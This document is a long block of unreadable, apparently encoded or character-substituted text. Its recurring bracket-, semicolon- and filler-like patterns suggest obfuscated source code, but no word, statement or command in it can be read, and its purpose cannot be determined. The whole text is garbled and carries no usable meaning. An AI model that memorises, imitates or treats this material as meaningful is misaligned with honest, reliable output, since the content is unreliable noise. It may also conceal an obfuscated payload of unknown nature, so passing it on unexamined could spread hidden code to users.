TNUUWOOF[XFFFFFFVJlF	N	^R_ NUSVOOFFFFF[XFFFB	WQ 9PJl	N9UNUUTOOFFFF[XFFF 
JlFFFF	N	^R_ NUUUOOF[XF 	FNBT VVJFFFFFFB RQJFFFFBQ OFFFFFFFFFFFFBQ FFFXFFNQTU^^TPMWWR_Q^TOFFFFFYFFFFWF\FFFV]FFFFFJlFFFFFFOO]lFBRTSRFF[F&	^R_ NUTQONBQVVO]lllFFFFBVWS
  WFF[F&
9	NBQVVO]lFFFBV 9 FF[FF&
9	NBQVVO]lFFFFBPU
9T^FF[FF&
9 	NBQVVO]llllFB^Q	FFFF[FFFFNOFFFFFFBPU
9T^=9UNUURO;]l FNBVWS
  WOFFFFlF&
9
	NBQVVO]lFFFF 
]lllFFFlIIF+57*F	F 	\FF
lllllF&
9
	NBQVVO]B T [_UPP]B	 
[B T C^]lF FFFFFFNB^Q	FFF[[[FFNVUMVSOFFFFF@@FFBRTSRFG[[FFFFF 
FF@@FFFFBQWR_Q T
NBRTSROOFFFFFlFFFFFFFFBRTSR]lFFFlllFllF FNBRTSROFllFF 
]llFFFFF 
]lFFFlFlF 	FFQP^WSUWNOlFFFlFB
T_FF[FRQW^	NO]lFFFFFFBRTUV

F[F9QVTRV NO]lFl FNNB
T_OFFFNBRTUV

OOFlFNO]lFlFFFFFlFFFFFFFB
_R9F[FFFP

_
TNURPON	^R_ NUSWOOFFYFNOF9		N9UNUSTOJFDDOF\FDD]llll FFNB
_R9FFFFG[[FDDOFFFlIIF
	FFK  llBRTUV

F[FFFF	^R_ NTSWONP

_
TNW_PONBRTUV

JFNB
_R9OOO]llFFFFFP

_
TNUSUONBRTUV

JFFFFFB
_R9O]lFlFFFFlB^PW^9RFFF[FFFFF9UNUSRONB
T_=	^R_ NUSSONB
T_O;O]lF FFFNB^PW^9RFFF[[[FFFFDDOFlllFFFFFFNO]lFllFFFFlFFB9 
VFFF[FF	^R_ NUSPOFFFFHFFB^PW^9RFFHFP

_
TNUSQO]lFB_ _	FF[FN	^R_ NUS^OFFFFF[XFF9UNUS_OO]lFBUF[FF	^R_ NUPVONO]lFF 	FFFNBRTUV

FFFFB
SPOFFFlFFlFFF FFFNNU	NUPVONOFFKFFFBUOFXFFNRMRWOOFFl]lFFFFlIIF4	F	K 	\F	F	
llFFlFFFFFB
SPF[FU	NUPWONNOFFFFB
SPO]llllF FFFFNB
SPF[[[FDDOFFFFFFl	]lllFFlFFlFFBQV
UFF[FFWWQW_	Q^QNB
SPJFFFFFB9 
VJFFFB_ _	JFFNVRMVWOJFFFFFF 	FFFFNB
WOFFFFlFFBUT9
9FFF[FFFFF&U	NUPTONB
WJFO]lFFFF	^R_ NURUONBUT9
9OFFFFFF@@FNBUT9
9=	^R_ NUPUO;O]lFFFFO]l FFFNBQV
UFF[[[F 
OFFFlFFFF	]llB_T
FF[FFF&P

_
TNUPTONBQV
UJFFO]lFFFF FFNGFFFFU	NURUONB_T
OFFFFFFGFFNB_T
=P

_
TNUPRO;OFFFFGFP

_
TNUVPONB_T
=P

_
TNUPSO;OOFFFFFlF	]lFlFFlFB^U _VFFF[FB_T
=	^R_ NUPSO;]llll FFN9UNUPPONB^U _VJFFP

_
TNUPQOOF[[[FVOFFFlIIF
K
FF 	F16F5F#	llFB^U _VFF[FFF9UNWTQONB^U _VJFFTO]llllFFFFFFlFFFFlFB
VUF[FF&U	NUVSONB^U _VO]lFF FFFNB
VUF[[[FF 
FFFFFFF9UNUWQONB
VUOFFFFFZFFFFFNWV^KRROOFFFlF	]lFFlFFlFFFFFFFBW	_QWFF[FFNVURMVO]lFFB US
RF[FFFFP

_
TNUP^ONB
VU=BW	_QW;O]lFFFB9	FFF[FFU	NWTQONB
VUJFFBW	_QWFMFFFWJFFB US
RO]lFF FNGFFFF9UNUVPONB9	OFFF9UNUWQONB9	OFFFFFZFNVTMVWOOFlFFFF	]llFFFFFFlFB 	9	FFFFF[FFFFFU	NUP^ONB9	=V;O]ll FNB 	9	FFZFWFFFF	^R_ NUWQONB9	OFZFWFMFB 	9	FMFWOFFFFll	]llllllFFlFFBUWW^QF[FF9UNUP_ONB9	JFWJFB 	9	O]llllFBUV9FF[FFP

_
TNUQVONB9	JFFFFFWFFMFB 	9	O]lFFFFF FFNGF9UNUQWONBUWW^QOFFFFFGFFFU	NUQWONBUV9OOFFFFlFFFF	]lFllFBQ^FFF[FFRVUQ_9NBUV9JFBUWW^QO]lll FFNGF	^R_ NUQTONBQ^OFFFFFP

_
TNUQUONBQ^OFFFZFFFTOFlFFFFF	RR^TT9
NP

_
TNUQROJFFFP

_
TNUQSOO]l	]llFlFFFB^P9^
FF[FFP

_
TNUP^ONBQ^=V;O]llll FFFFNB^P9^
FFFFZFFWFFFFFU	NUQUONBQ^OFZFFFFWFMFFFFFB^P9^
OFlFFF	RR^TT9
N	^R_ NUQPOJFFFFFFP

_
TNUQQOO]lFFFFFFF	]lFFlFFFFFlFB __QWUF[FF	^R_ NUQVONBQ^JFFWJFFB^P9^
O]lBP		
F[FFFFFU	NUQ^ONBQ^JFFWFFMFB^P9^
O]lB	 9RR_S SUFFFF[FFP

_
TNTSWONU	NUQ_ON9UNTSPONU	NU^VOJFU	NU^WON	^R_ NU^TOJFFFBP		
OOOO]lF FFN	^R_ NURPONU	NW^^OOOFFFllll9		N	^R_ NUSTOJFFFB
SPO]lFFF9		N9UNU^UOJFFFFP

_
TNU^ROND:DJFB	 9RR_S SUOO]llFFFFFFN9UNU^SOF[XFFFFFB __QWUJFF	^R_ NU^POFFFF[XFFB	 9RR_S SUO]lFFFFFFN2	
FB
WSW9TOFFFFB_
RRU[6.69+',)490#45/)(]B [B_
RRULU]lFFF	RR^TT9
NU	NU^QOJFB
WSW9TO]lFFFF	]lFFFFFFFN#	FB
WSW9TOFFFFlIIF&
FKllFFF	]llFlFFFFFBU^UQ9FFF[FU	NURPONP

_
TNUSWOOFFFYFNOF9		N	^R_ NU^UOJFDDOFF\FFDD]lFFB
	SFFFF[FT_RUU99NU	NU^^OJFDDO]lFFFFFFF FFFFNBU^UQ9FFG[[FFFFDDFF@@FFFF	^R_ NU^_ONB
	SOFF@@FFFFFB
	SFG[[FFDDOFFFFlFFFB	 9RR_S SUF[FFFFF	^R_ NU_VON9UNUQ_ONU	NTSPONP

_
TNU_WOJFF	^R_ NU^WON	^R_ NU^TOJFFBU^UQ9OOOO]BP	^
[NVRPMVSO]BS9S[BP	^
CP]lFF FFNGFFFNB	 9RR_S SUOOFFllllFFFFFFFFFFFNP

_
TNU^SOF[XFFFFB
	SJFFF	^R_ NU_TOFF[XFB	 9RR_S SUO]BPUR^[^RMPP]BVT_V
[BPUR^KSV]lFFlFFFFFFlFFF	RR^TT9
N9UNU^QOJFFP

_
TNU_UOO]lllFFNO]llF 	FFV_QPTQQV _NBVP^VWJFFFFBV	WPVJFFFB	TP9WOll FNGFF9UNU_RONU	NU_SOOOFFlFFFFF 
]lllFlFFFB	UF[FFFFU	NU_PONBV	WPVO]lFFFFFFB
9VTPFFF[FU	NU_QONP

_
TNU_^ONWJFFNR_WKTUPOOO]lBVFFFF[FFFFDD]lFFFF 	FFFNBVS^PTSFFFF[FVJFFFBT	^TF[FFU	NUQUONB	UO]FBVS^PTSFFFFZFFBT	^T]FBVS^PTSMMOFFFlFFFBVFFFFH[F	^R_ NU_QON9UNUP^ONB	U=BVS^PTS;OFFFF8FFFF	^R_ NUP^ONB
9VTPOO]lFlFFFFFFF9		NBVP^VWJFFP

_
TNU__ONB
9VTPFHFFBVOJFFFFFB	TP9WOFFFG[[FFF 
]llFlFlFFFFFF 	FF_VR 9^RNBVP^VWJFFB_T99OlFFlF FFFNG	^R_ NU_RON	^R_ NRVVOOOFFFB_T99]lFFFB_PW W	FFFFF[F9		NBVP^VWJFFDDO]lFFFF FFNB_PW W	FF[[[FFFDDFFFGFFFFF	^R_ NRVWONB_PW W	OOFlFFFFFB_T99]lFFFFFlllBPTQFFF[FF&P

_
TNRVTONB_PW W	JFFO]lFFFFF FFFNBPTQF[[[F 
FFFFFU	NUQUONBPTQOFZFFTOFFFFllFFFB_T99]lFlFFFFFB
9VTPFFFFFF[FFBPTQ=V;]lFBW ^RFFFFF[FFDD]lFF 	FFFFNBVS^PTSF[FFWJFFBT	^TF[F9UNRVUONBPTQO]FBVS^PTSFZFBT	^T]FFBVS^PTSMMOFlFFFFFFFBW ^RFFH[F	^R_ NRVRON9UNUP^ONBPTQ=BVS^PTS;OFF8FFU	NRVSONB
9VTPOO]lllFFFFB_RFFFFF[FFF_9^TNBW ^RO]lFFFB_RFFFFG[[F 
FFYFFB_RF\FFFB_T99]lllllFFFFF 	FF_9^TNB9	OllFlF FFFFFFNGP

_
TNRVWONB9	OOFFFF 
]lFF FFFN NU	NRVPOOFF@@FFFF6.690#45/)(9/"FX[FFNWT_PT^KS_PT^OOFFBRPW^W[6.69/(29+'>I6.69/(29+'>]BTW[BRPW^WM_R]lFFFF&	^R_ NRVQONB9	JFFFFNP

_
TNRV^OFF[XFF 
OO]llllFFFFFlllFFFFF&U	NRVQONB9	O]lFFFFl 	FFQWQ
 UNOllllFFFFFFlFFFB9 T^SPTWSFF[FFF

]lFF FNB9 T^SPTWSFFG[[FF

OFFFFB9 T^SPTWS]lFFFFB 
 UUTQ	WF[FFF N9UNVOOFYF'$56'2.FFFF\FFDD]lFB9 T^SPTWSFF[FU	NWUON9UNRV_ONA::AJFFAIAJFFFFB 
 UUTQ	WOJFFFFAIAOFFFFFFHFFFFAIA]llFFFFFFB9 T^SPTWS]llllFlllFF 	FST9R	P	UNBVP^VWOlFlFFFFFFFFFF	
_NQWQ
 UNOFHFFFFFNOFR
PPRTNOFFHFBVP^VWJFFFFFFNWVMTOO]lFFFFFlF 	FF9V 9SNB9	OlllFFFFNOFNNT_SQVPP_MPWRT_UUWOFFFFMFFNNOFFFNU	NUQ^ONU	NTW^ONQWQ
 UNOFFFFHFP

_
TNRWVOFFHFFB9	OJFVJFNVUMVROOOFCFNRW^SVWRMR^WR_^SOOO]lllF 	FF
_QQ
_T VQNOllFFFFFFFFFF9V 9SNP

_
TNRWWOO]lFFFlFF 	FPRPVQ
TNOlFlFFFBP
 _ FF[FFFNOFFT_RUU99NU	NRWTOJFDDO]lFFF9UNRVUONBP
 _ OFFFFFXFFN_MWOFFFFFF@@FFFU	NUPPONBP
 _ JF
_QQ
_T VQNOOFFFG[[F 
FFFF@@FU	NRVUONNOFT_RUU99N	^R_ NRWUOJFDDOOFFFXFNVMVSPO]lFFFlFlF 	FT_RUU99NBVP^VWJFFB_T99OlFFFFFFlIIF&FKllFF_VR 9^RNST9R	P	UNBVP^VWOJFFB_T99O]lFFlFFFFFF 	FFFFFF	TUP9SNBVP^VWJFB_T99F[FDDOlFFFlFFFFFB^9V
FFF[FT_RUU99NBVP^VWJFFB_T99O]lFFFF FFNU	NRVWONB^9V
OOFFFB^9V
]l FFFFFFN	^R_ NRWRONB^9V
OOFFFNOFFFFFFB^9V
]lFFFFFFB_T99]llllFF 	FFF9
T
PTTNBVP^VWJFBV	WPVJFFB	TP9WOlFFlFFFV_QPTQQV _NST9R	P	UNBVP^VWOJFFFFFBV	WPVJFB	TP9WO]lllFFl 	FFFFFPTU
NOlFlBTW	9W QPFFF[FFFFFNB!*)$'*5=P

_
TNRWSO;OFFFYFFFB!*)$'*5=U	NRWSO;FF\FNO]lFB_PW W	F[FFFT_RUU99NP

_
TNRWPOJFFNOO]l FNU	NURUONB_PW W	OOFlFFFBTW	9W QPFFFF[FFP

_
TNRWQONB_PW W	JFFFFBTW	9W QPO]lFFlFBTW	9W QPFF[FFFF9UNRW^ONBTW	9W QPO]lFFFF9UNWURONBTW	9W QPJFFFFKNVUVMVTOO]lllllFFFF 	FFP	TNOlFFFFlIIF16F*F$
	\F F

		llFF FFFNGNB!*)$'*5=	^R_ NRWSO;OFFFFFFNB!*)$'*5=P

_
TNRWSO;OOFFF]lFFFFFlB_PW W	FF[FFFT_RUU99NP

_
TNRW_OJFFNOO]lFFB_ PF[FP

_
TNRTVONP

_
TNRTWONNOB_PW W	JFB!*)$'*5=	^R_ NRWSO;OO]lB_ PFF[FP

_
TNWURONB_ PJFFFKNUPMWROO]lFFFF9
T
PTTNP

_
TNRTTOJFB_ PJF9UNW_WOO]lllFFFFFFFFFFFN2	
FB
WSW9TOFFFFBPPP[RSMR]B^U^[BPPPKTU]lFF	RR^TT9
N9UNRTUOJFFB
WSW9TO]lFFFFN#	FFFFB
WSW9TOFFllllllFFFFlFFFFFFF 	FRVUQ_9NB9	JFBOlllFFF FFFFFFNGFF	^R_ NRVWONB9	OFFFFFFFGFF9UNRVWONBOFFFFU	NRTRONBOFF[[[FVOFFFlFFFFF

]lllFFFFFFFBRP
T^FFF[FFFFFFU	NRTSONB9	O]llllFB
RRPRFFF[FF9UNRTSONBO]lFFFBU	9F[FFDD]lFFFFF 	FFFFFFNBVS^PTSF[FFV]FBVS^PTSFFFZFFFBRP
T^]FFFBVS^PTSMMOFlFBU	9FH[F	^R_ NRVRON	^R_ NRTPONB9	=BVS^PTS;OFF8FU	NRTPONB=BVS^PTSFFFFFFCFFFFFB
RRPR;OO]llFFBU	9]lllFFFFlFF 	FF 	P_QNB
T WOllFFllFFFF FFNGFFFP

_
TNURUONB
T WOOFFFFFlFFFFFFB
T WFFFF[FFNO]llFFFB9WQFF[FFFS	VQUVTNO]lBRV
PFF[FF	^R_ NU_RON9UNRVVOOFFYFFFF_VR 9^RNU	NRTQOJF 
OFFFFF\FFFFF 
]llllFFFFF FFNP

_
TNURUONBRV
POFFFF@@FFNBRV
P=9UNRT^O;OF@@FFNOFFBRV
P=9UNRT^O;FX[FFFNTRVMPVOF@@FFFFNOFFFFFBRV
P=P

_
TNRT_O;FFZ[FNWPR^WUKQ^RWUOOFFFFB9WQF[FNOFBRV
P=P

_
TNRT_O;]lFF FFFNB9WQFFFZFFFFNUVZZWOOFlFFB9WQFF[FNVRURMV_O]llFFFFlFFFFB
T W=9UNRUVO;FFFF[FNlF	^R_ NRUWOFFFF[XFFFB9WQJlU	NRUTOFF[XFF9UNRUUOJlO]lFB
T W=	^R_ NRURO;FF[FFFFFNlFFF9UNRUWOFFFF[XFFNST_MQWOJlFFFFFP

_
TNRUSOFFFFF[XFFFFP

_
TNRUUOJlFO]llFFFFFFB
T W]llFlFFF 	FFFRTU
	T	QRNOll FNG9UNU_RON9UNRUPOOFFFFFFFFG	^R_ NU_RON	^R_ NRUQOOOFFFFF]l FFNG_QTSS_^P
 _RWNU	NRU^OOOFFFF]lFFFFFFFFlF FFNG99
NTVQT^NOOOFFFlIIF16F5F#	\FF		llFFFFF9
9NU	NRU_ONOFFFMFFFFFP

_
TNRRVONNWR^8WP^OJFNUPUKPUOOJFFFFF9UNRUVOJFFFTVQT^NOO]lFlFFFFFF 

FFlIIF16F#F$
	\FF	lllllSU_T	_NP

_
TNRU^OO]lFFllFFFlFlFFFlFFF 	F_S _W^NOlFFFFllFFFFlllF FFN NP

_
TNRRWOOFFF@@FF")/(!9%4)(OFFlFFFFF]lFFFFFFlllFFlllFFFFFFFFFFB_SUUSF[FF 
]lFFFF FFFFNB_SUUSOFF]lFB_SUUSFF[F]llllFFFFlFFFFFFF FFFFFFNGFSP9T
P	NOOFlFFFFF]lFFFFlIIF16F%	F*\F
F	KllllFT
VVUNU	NRRTOJFF	^R_ NRRUOJFVO]lllllFFFF 	FTRQ	R
NOllF FFFFFNGP

_
TNRRRON9UNRRSOOFFFFFGU	NRRRONP

_
TNRRPOOOFFF]llllF&	^R_ NRRSON9
N	^R_ NRRQOFFHF	^R_ NRV_ONAHAJFFFFFDDJFNOF9UNUPVONOOFFFHFFP

_
TNRRVONNVUMVPWOJFN__SMROOOJFFN	^R_ NUUQOFFFF[XFFFFFVHVWJFFFFP

_
TNRR^OFFF[XFFFF 
JFFU	NUU^OFF[XFF 
OO]llllFFFlllFF 	FFFFQRPR NOlFFFlFFFFFBSRP_^FFFF[FF 
]lF FFNBSRP_^OFFFFF]lFBSRP_^FFF[FFFF]lFFFlFFFB FF[FFFF 
]lFFFF FNP

_
TNRRRON9UNRR_OOOFlFF9UNRR_ONO]lB FFFF[FFFFFF]lFFFFFF
 FFN	^R_ NRSVONP

_
TNRSWOOOFFlFU	NRSWONO]lFFFB FFFFF[FF]lllFFFFFFF
FFFFlFFF FFN	^R_ NRSVON9UNRSTOOOFl&9UNRSUONO]lFFFFFFlB	U9FFF[F9UNRSVON9UNRSROOFFFFFF@@F&P

_
TNRSRON	^R_ NRSSOO]l FFFFNG9NOFFF@@FFFFGB	U9F@@F	^R_ NRSPONOFF[[[FFFWFFFFF@@FFU	NRSVON9UNRSQOOOFFFlFFB9
F[FF&	99
NO]llFFFF FFNB9
FFG[[FFF 
FFFFF@@FFFFB9
FFFXFFFVOFFFllllFF&N	^R_ NRS^OFFFFHFB9
O]lFFFFFF&NP

_
TNRS_OO]lFlllFFFFlFFF FN9UNRSPONOOFlllF&9UNRPVONO]lFFFFFFllFFFlF&P

_
TNRPWONO]lFFFFFFlllFFFFFBVFF[FFFFFFP

_
TNRSVONU	NRPTOOFF@@FFFFGN NP

_
TNRPUOOF@@FFF"/5'$*#9169%4)(O]lFFFFFB 
TS FF[FFG	^R_ NRSVON	^R_ NRPROOFFFFFFFNOFFF9		NP

_
TNRPSOJFFVOF[[[FFV]lFF FFNGB 
TS FFFF@@FP

_
TNRSVON	^R_ NRPPOOFFF@@FFFP

_
TNRSVON	^R_ NU_SOOOFFFllBQT9	UFFFF[FNOFF9		N	^R_ NRPQOJFFFFFFDDO]llll FFFNBQT9	UFFFG[[FF^P	PU QNOOFFFlILF
	F  KFLIllFFFFF&9		NP

_
TNRP^OJFF^P	PU QNOJFFU	NW_WOO]lFFFFF&9		N9UNRPSOJFFFVJFFU	NW_WOO]lFB 
TS FF[FFFF]lFFFFFlFlFFFFFBQVQ^F[FFFF 
]lFFF FFNBVF@@FFFFU	NRP_ON9UNRUPOOOFFlBS 
PFFFF[FFFFFF99
NTVQT^NOO]lFF FNBS 
PF@@FFFFNP

_
TNRU_ONOFFFKFFNOFBS 
POFXFFFNWRURMSQPPOOFFFFFFlFFFFFFFBQVQ^FFF[FF]lFF FFFFNU	NRP_ON	^R_ NRQVOOOFFFFFF&9
9NNOFFFBS 
PJFFTVQT^NOO]lFlFFl FFNBVFFFF@@FFFGB 
TS FFFFFF@@FFGBQVQ^OFlFFBSP Q	F[FF9UNRP_ON9UNRUPOOFFFFYFFFFFNOF99
NTVQT^NOOFF\FFV]lFF FFFFNBSP Q	FFZ[FFFFFVFFFBSP Q	FFFKFFFFFFU	NRU_ONOFFFXFN^_SMSOOFFFFlFF&9
9
9N9UNRU_ONOJFFFTVQT^NOO]lFFFllFFFFFFllF
T	 ^^9NO]lFFFFFF]lFlFFFF FFFNBQVQ^OF	RR^TT9
N	^R_ NRQWOJF9UNRQTOO]llllFF FFFFNGB OFlFF FFFNBVOF&9
9
9NP

_
TNRU_ONOJFFTVQT^NOO]lFTRQ	R
NO]lF
T	 ^^9NO]llF]lFlFF FFNU	NRP_ONP

_
TNRQUOOOFFF&P

_
TNRQUONNW_RKWROO]lllFFFFFT
T__NO]lFFFN2	
FFFFB
WSW9TOFlFFFF	RR^TT9
N	^R_ NRRTOJFFFB
WSW9TO]lFFFFFFN#	FFB
WSW9TOFlFlllF 	FFTVSNOlFFFFFFlFFFFlFFFF FFNGF	^R_ NRP_ON9UNRPPOOOFFlF]B^R R[6.69/(29+'>I6.69/(29+'>]B9WVVPVTV[B^R RMRV]lFFFFFFFllB9VUVFF[FFFFU	NRP_ON	^R_ NRQROOFFYFFFF9NW9_QSSQVNOOFF\FFFF 
]lF FFNGFFFU	NRQSONB9VUVOOFFB9VUVFFF[FF_VR 9^RNP

_
TNRQPOJFFF 
O]l FNGFFFF9UNRQSONB9VUVOOFFFlF]lllFFFFlFlFFFFFF FFNNB9VUV=	^R_ NRQQO;OF@@FFFFFFU	NRQ^ONB9VUV=P

_
TNRQQO;OOFFFFlILFKFKFLIllFFFB!*)$'*5=9UNRQ_O;FFF[FVQ PVT RVNB9VUV=9UNRQQO;O]lFlFl FFNNB9VUV=P

_
TNR^VO;OFFFFF@@FFFFP

_
TNR^WONB9VUV=P

_
TNR^VO;OOFFFllllFFFB!*)$'*5=	^R_ NR^TO;FFFF[FFVQ PVT RVNB9VUV=P

_
TNR^VO;O]llFlFFFFF FFFFFFNNB9VUV=U	NR^UO;OF@@FFFFFU	NRVWONB9VUV=	^R_ NR^UO;OOFFlFFFB!*)$'*5=P

_
TNR^RO;FF[FB9VUV=P

_
TNR^SO;]lIIF
F		llFFFFFlF FFNNB9VUV=	^R_ NR^PO;OFF@@FFFFFFU	NR^QONB9VUV=	^R_ NR^PO;OF@@FFFU	NRTSONB9VUV=U	NR^PO;OFFFFXFFFNVTMV^OOFlFFB!*)$'*5=9UNR^^O;FFFFF[FB9VUV=U	NR^_O;]lllFFFFFlIIF
F		F 	F6.6F^HRF lllF FFFFFNNB9VUV=P

_
TNRWWO;OFFFFFF@@FFFFP

_
TNR^QONB9VUV=U	NR_VO;OF@@F	^R_ NRTSONB9VUV=	^R_ NR_WO;OFFFFXFFFNW__K__OOFlFFB!*)$'*5=9UNR_TO;FFFF[FFB9VUV=9UNR_WO;]BVR[PQLP]BUQ_ Q
RU[BVRKRS]lFlFFFFFFN2	
FFFB
WSW9TOFFFFFFlFF	RR^TT9
NU	NR_UOJFFFFB
WSW9TO]lFFFFFFFFFFFFN#	FFFB
WSW9TOFFllllFlFFlFFFFFlFFFF 	FFFFFS9R9VVNOlFFlFFlFFFFF FFNGP

_
TNR_RONU	NRPPOOFFFFGU	NR_RON	^R_ NU_SOOOFF]lllFF FFNNOF9		NU	NR_SOJFFVOFFFXF	^R_ NRU_ONOFFKFFFNUSRWMS_OOFF]lFF FFN9UNR_PON	^R_ NRQROOFF@@FFFF9N	^R_ NR_QOOOF]lllBPUPFFFFFF[FFT_RUU99N9UNR_^OJFFDDO]l FFNGP

_
TNR^QONBPUPOFFFF	^R_ NR__ONBPUPOFZFFFFFN_RUKRRUOFFFFWTWSS_PWNBPUPOFFFFFFFGS_V9QNBPUPOOFBR	^^R[UQVR]B
_
[BR	^^RCWQ]lBPUPFF[F 
]lFBSP^F[F&9UNTTUONWP__VVUVNOO]lllFF FFFFNBSP^FF@@FFBSP^FXFNPWPKWWPOFF@@FFBSP^FFFZ[FFFFFNSTRT^QPWMU_OOFFFFFB	9
S^S[6.69/(29+'>I6.69/(29+'>]BSVS[B	9
S^SMW_]lFBRPWFFFFF[F&U	NTUWONWP__VVUVNOO]lFFFF FFFN9UNSVVONBRPWOFFF@@F	^R_ NSVWONBRPWOFFFXFFNWVR^SU^MU^OOFFBRPWFF[FFFF9^QSRQNBRPWO]l FFNP

_
TNSVTONBRPWOFFF@@FFFGWTWSS_PWNBRPWOFFFFF@@FFFS_V9QNBRPWOOFFFlIIF+F\F
F
KllF9
T
PTTN9UNR_^OJFFFBRPWJFF	^R_ NW_WOO]lFFBPUPFFF[FBRPW]lFlFFFlll FFNGBPUPOFBWUPPV[6.69+',)490#45/)(]B9
VU[BWUPPVLW]lFFFFF&9		N9UNSVUOJFFFFFU	NRU_ONOJFFFU	NSVROO]lll]llllFFFFllFFFFFlFBWRTF[FFFFFNWP__VVUVNOO]lFFFFBR
WTWFFF[FFFF9	_	^R	VVNO]lFFBT_SQ	_PFFF[FFTWUQSQNBR
WTWO]BURP_W[NVSMV_^O]B9	
9[BURP_WCWU]lFFF FFFFNU	NR^WONBT_SQ	_POOFFll 	FFFFNBT_SQ	_PFFBWU^_OFlFFFFF FFNU	NSVSONBWU^_JFFFFKNWMUOOFFFF[[[FFFFFFP

_
TNSVPOOFFFBWRT=;FFFF[FFFFBR
WTWFHFFFFFFAIAFFHFFBWU^_]lFFFlllFFlFFF FN NP

_
TNSVQOOFFF@@FU	NR_PONP

_
TNSV^OOOFFl 	FFFNNOFFFFFF&P

_
TNSV^ON1696*3!/(9"/4FHFFF9UNSV_OOFFFFFFBSOFFBWRT=;F[FBS]lllFFFFllllFBWRTFFFF[FF9UNSWVONBWRTO]lFFBPRQWUF[FFNO]lllBQ9TW9WFFFFF[FP

_
TNSVSONP

_
TNSWWONU	NSWTOJFFDDJFFF9UNSVSONBPUPJFFVJFFFNU^UUMPWQVUOOOJFFFFVJFFNVTRUMVSOO]lFF 	FFFNBWRTFFFFFB 
 UUTQ	WOFlFFB

_VT	FFFF[FF&9UNTTUONB 
 UUTQ	WO]lll FNGB

_VT	FFFFFFFFFB

_VT	FZ[FNWVR^R_QMQ_OOF	]lBSWSRUF[FF&P

_
TNSWUONB 
 UUTQ	WJFF 
JFF

JFFFFFVJFFFFNPSSTRMWTOO]lFFFFF FFNG9UNSWRONBSWSRUOFFFFFGWTWSS_PWNBSWSRUOOF	]lFFFFFFFF FFFFFNB 
 UUTQ	WFFG[[FFWP__VVUVNOF@@FFFFF9UNSVSON9UNSWWONU	NSWSOJFDDJFBSWSRUOJFVJFFNW__PMSTOOFFG[[FFFBQ9TW9WOFFF	]lFFFFFFBPRQWU=;FFFF[FFB 
 UUTQ	W]llFFF FNGBPRQWUOFFFFl FFFNU	NR_PON9UNSWPOOOFFFF9N9UNSWQOJFFFFWJFFFNSTPMQROO]lF]lFlF&9		NU	NSVUOJFFFU	NSW^ONOJFFU	NSVROO]lF 	FNBPRQWUFFFFBT	W QOFFFlFFFFU9
 NBT	W QJFNVPVMVWRROO]lFF FFFFN URUSWNBT	W QJFU 		 WS	NBPUPOOOFl^
	 ^
NBT	W QO]lFFF_R
RRWU
NBT	W QO]B^	QT[6.69/(29+'>I6.69/(29+'>]B V[B^	QTMTQ]lFFFU9
 NBT	W QJFFNTTWMQWOO]lFFFFFF
V _RR _9NBT	W QO]l FFFFNBT	W QFF[[[FWP__VVUVNOOFFFllllFTWTNO]lFFFFU
WTNO]lFFFFFFFFlFFFF
FlU9
 NBT	W QJFNTQQMWSOO]lllFFllFFFFFFN2	
FB
WSW9TOFFFFB^U T[TR^WQ_]B^SV[B^U T8WS]lllFFFFFF	RR^TT9
N	^R_ NSW_OJFFB
WSW9TO]lFFFFFFN#	FFFFFB
WSW9TOFFlFFFllFl 	FFFT

UVUNOllFFlFFFFFFFFFFFB_SUUSF[F 
]lF FNB_SUUSOF]lFFB_SUUSFF[FFFF]lFFFlFFFFFUS	R^NO]lllFFFS9R9VVNO]llllFT	NO]llllTVSNO]llllFRTU
	T	QRNO]lF
PSQ	WNO]l
Q

RWWNO]lFF
 SRNO]lFFFFF__ TTVVNO]lFFFFFF FFNSP9T
P	NOOFFFlFF FFNP

_
TNSTVONP

_
TNSTWOOF@@FFFF9	N9UNRRTOOOFFlFFFF FN9UNSTVONP

_
TNSTTOOOFFP

_
TNSTTONP

_
TNRRUOO]lFFF
FFFlFFFT
VVUN	^R_ NRRTOJFFFFP

_
TNRRUOJFFFFVO]lFFFFFlFllFFFFFFFN2	
FFB
WSW9TOFBT_[6.69/(29+'>I6.69/(29+'>]B	[BT_MWU]llllFFFFFN#	FFFFB
WSW9TOFFFFFFlFFFllF 	F
T	 ^^9NOlFFFFllFFl FFFFNGU	NSTUONU	NRRSOOFFFFFFGP

_
TNSTUON	^R_ NSTROOOFFFF]lF FNGP

_
TNSTUON	^R_ NSTSOOFFFFFFFFG9UNSTUONP

_
TNU_SOOOFF]lFBW^Q	
FF[F9UNSTPONO]lFFF FFFFNBW^Q	
FFFFFKFFFNOFF&9		NP

_
TNSTQOJFVOFZFFFFFFNUS_PMROOF]lFFFFFFFF&9		NU	NSTQOJFBW^Q	
JF	^R_ NST^OO]lll&U	NRRSON	9
NAIAOJFFN9UNUUQOFFF[XFFFFFTJFFU	NUU^OFFF[XFFF 
JFFF9UNRR^OF[XFFFF 
OO]llFFFFN2	
FFFB
WSW9TOFllFFFFN#	FB
WSW9TOFFlFlIIF	F	F 	F16F0F$
	llFFFlllFFF 	FSP9T
P	NOlFlFFF FNGFF	^R_ NST_ONP

_
TNSTSOOOFFlFFFFF]lFFllFFF FN	^R_ NST_ONP

_
TNRQROOFFFF@@F9NW9_QSSQVNOOOFFFlllFFFFFFF 
]B PS[6.69+',)490#45/)(]B	_9[B PSL_]lFFFlFFFFFlFBQQSF[FFFS	VQUVTNO]lFFFFFFBRV
PFF[F_VR 9^RN	^R_ NRQPOJFFFF 
O]lFF FFFFN9UNR^WONBRV
POFFFF@@FNBRV
P=	^R_ NSUVO;OFF@@FFFFFFNOFFFBRV
P=	^R_ NSUWO;FFX[FFFFNW_RMWVPOF@@FNOFFFBRV
P=P

_
TNSUWO;FFFFZ[FNWQSW^MP^^^TOOFFFBQQSFFFFF[FFFFFNOFFFFBRV
P=9UNSUWO;]lllFFBT_^	SSF[FFNOFFFFFF9		NU	NRPSOJFVO]lFFFF FFNBT_^	SSFFXFFFFFVFFF@@FNP

_
TNSUTONOFFKFFFFBT_^	SSOFFFFZFFFBQQSOFFFlFFFFFFFF 
]lFFFFFllllFlFB __WV9FFF[FFFFFNOFFF9		NP

_
TNSUUOJFFVO]lF FFNB __WV9FXFVOFFllFBW^S_FF[FFFFFFNOFFF9		NU	NSUROJFFVO]lFFBS9S
_FFF[FFNNTPRMUPOJFFFFFFNWSTUKPTUOJFFFFNWQUPMPROJFNUSUQMPUOJFFNUSTRMQPOO]lFFFB	RVF[FFFFBS9S
_=U	NSUSONVJF9UNSUPONBW^S_FFFKFWJFFFFNWMUOOO;]lllFFFFFB	RVFFFM[FFFFU	NRRVONVJFFFNOFFNB	RVFFFFFLFVHTSOO]lFFF FFFFNNP

_
TNSUTONOFFKFB __WV9OFFFFFZFB	RVOFFFFFlIIF&FllFFFFFF 
